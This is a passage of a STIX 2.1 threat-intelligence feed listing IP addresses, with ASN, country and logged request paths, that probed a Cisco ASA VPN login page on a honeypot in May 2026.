      "id": "indicator--e25c71f4-2760-42a6-b9b5-137211f125f2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.118.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T11:20:04.000Z",
      "valid_until": "2026-06-04T11:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 30,
          "first_seen": "2026-05-03T10:34:05.656Z",
          "last_seen": "2026-05-30T14:34:25.494Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T11:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 - geo: CZ; ASN 2914 (NTT America, Inc.)",
      "id": "indicator--32a6eabb-5268-40b0-b702-b19e723ae9a1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.153.163.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T11:20:04.000Z",
      "valid_until": "2026-06-04T11:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-03T10:32:59.537Z",
          "last_seen": "2026-05-03T10:33:00.293Z",
          "country": "Czechia",
          "country_code": "CZ",
          "asn": 2914,
          "as_org": "NTT America, Inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T11:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--63a9b8b6-f620-42f9-96ef-f24a3520b269",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '68.235.46.143']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T11:20:04.000Z",
      "valid_until": "2026-06-04T11:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 48,
          "first_seen": "2026-05-03T10:49:13.368Z",
          "last_seen": "2026-05-27T10:12:05.522Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--285b6672-1f19-47b4-89db-c1380e8609e4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.165.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T12:20:10.000Z",
      "valid_until": "2026-06-04T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-03T11:35:58.952Z",
          "last_seen": "2026-05-30T07:32:39.585Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--6d6b9eea-1c30-43ae-8ef3-0d496ce5725a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.211.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T12:20:10.000Z",
      "valid_until": "2026-06-04T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-03T12:06:14.435Z",
          "last_seen": "2026-05-29T18:21:20.909Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--85edcc56-17ca-40ad-9c28-63e1e23da451",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '195.184.76.209']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T12:20:10.000Z",
      "valid_until": "2026-06-04T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-03T11:43:14.361Z",
          "last_seen": "2026-05-03T11:43:14.361Z",
          "country": "United States",
          "country_code": "US",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--dba3dd1b-3a06-4891-b0b9-bd831e20c5df",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.111.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T12:20:10.000Z",
      "valid_until": "2026-06-04T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-03T12:10:47.643Z",
          "last_seen": "2026-05-11T10:10:24.326Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--ded6f7b6-0224-47a2-bbe7-5e23c342b056",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '68.235.46.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T12:20:10.000Z",
      "valid_until": "2026-06-04T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 41,
          "first_seen": "2026-05-03T11:51:11.944Z",
          "last_seen": "2026-05-28T01:08:40.817Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--c4ba10ea-1d65-48af-a605-0b71a5f2753b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T12:20:10.000Z",
      "valid_until": "2026-06-04T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-03T11:47:12.225Z",
          "last_seen": "2026-05-03T11:47:12.225Z",
          "country": "United States",
          "country_code": "US",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--0095e8dc-2bc1-443b-8499-19276de1c22a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.215']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T12:20:10.000Z",
      "valid_until": "2026-06-04T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-03T11:45:13.475Z",
          "last_seen": "2026-05-03T11:45:13.475Z",
          "country": "United States",
          "country_code": "US",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--cab4d5f3-9225-4e41-8fd7-541991c9d14c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T12:20:10.000Z",
      "valid_until": "2026-06-04T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-03T11:49:08.671Z",
          "last_seen": "2026-05-03T11:49:08.671Z",
          "country": "United States",
          "country_code": "US",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--872873d5-53be-4191-9687-cacb37342f62",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T12:20:10.000Z",
      "valid_until": "2026-06-04T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-03T11:45:13.255Z",
          "last_seen": "2026-05-03T11:45:13.255Z",
          "country": "United States",
          "country_code": "US",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 - geo: US; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--71ac64af-5df0-4014-a3ea-30c259242908",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T12:20:10.000Z",
      "valid_until": "2026-06-04T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-03T11:47:14.294Z",
          "last_seen": "2026-05-03T11:47:14.294Z",
          "country": "United States",
          "country_code": "US",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T13:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--c7bca282-3041-4f2f-9a65-b6587052ea99",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.104.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T13:20:10.000Z",
      "valid_until": "2026-06-04T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-03T12:52:27.935Z",
          "last_seen": "2026-05-26T07:41:26.786Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T13:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--ab4247ab-8b13-404c-b53a-673002fdde79",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.75.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T13:20:10.000Z",
      "valid_until": "2026-06-04T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 33,
          "first_seen": "2026-05-03T12:26:26.042Z",
          "last_seen": "2026-05-29T12:15:01.421Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T14:20:09.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--ed1a797d-904e-456b-b3fe-69acc62fb2bb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.92.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T14:20:09.000Z",
      "valid_until": "2026-06-04T14:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-03T13:28:37.532Z",
          "last_seen": "2026-05-25T14:27:35.799Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T15:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: MD; ASN 201813 (Contrust Solutions S.R.L.)",
      "id": "indicator--9ca0538e-450f-4a22-bf46-e71ca818a78f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '104.243.250.11']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T15:20:10.000Z",
      "valid_until": "2026-06-04T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-03T15:05:38.594Z",
          "last_seen": "2026-05-03T15:05:38.594Z",
          "country": "Moldova",
          "country_code": "MD",
          "asn": 201813,
          "as_org": "Contrust Solutions S.R.L.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T15:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: MD; ASN 201813 (Contrust Solutions S.R.L.)",
      "id": "indicator--fbfa0a59-a78d-4117-82fc-3017094f00a8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '104.243.250.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T15:20:10.000Z",
      "valid_until": "2026-06-04T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-03T15:05:45.550Z",
          "last_seen": "2026-05-10T09:01:34.161Z",
          "country": "Moldova",
          "country_code": "MD",
          "asn": 201813,
          "as_org": "Contrust Solutions S.R.L.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T15:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--a0350297-5e28-479c-96dd-2f446eaa5080",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.168.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T15:20:10.000Z",
      "valid_until": "2026-06-04T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-03T14:52:16.326Z",
          "last_seen": "2026-05-14T12:38:46.920Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T15:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: IR; ASN 213790 (Limited Network LTD)",
      "id": "indicator--870ef6aa-d6db-4842-8cd2-ae81c13e7566",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.93.89.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T15:20:10.000Z",
      "valid_until": "2026-06-04T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-03T15:14:27.089Z",
          "last_seen": "2026-05-03T15:14:27.089Z",
          "country": "Iran",
          "country_code": "IR",
          "asn": 213790,
          "as_org": "Limited Network LTD",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T15:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: MD; ASN 201813 (Contrust Solutions S.R.L.)",
      "id": "indicator--1bdd7694-8352-4a0a-8cd9-57ff37a2bfc6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '206.123.144.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T15:20:10.000Z",
      "valid_until": "2026-06-04T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-03T15:18:06.644Z",
          "last_seen": "2026-05-10T09:34:07.254Z",
          "country": "Moldova",
          "country_code": "MD",
          "asn": 201813,
          "as_org": "Contrust Solutions S.R.L.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T15:20:10.000Z",
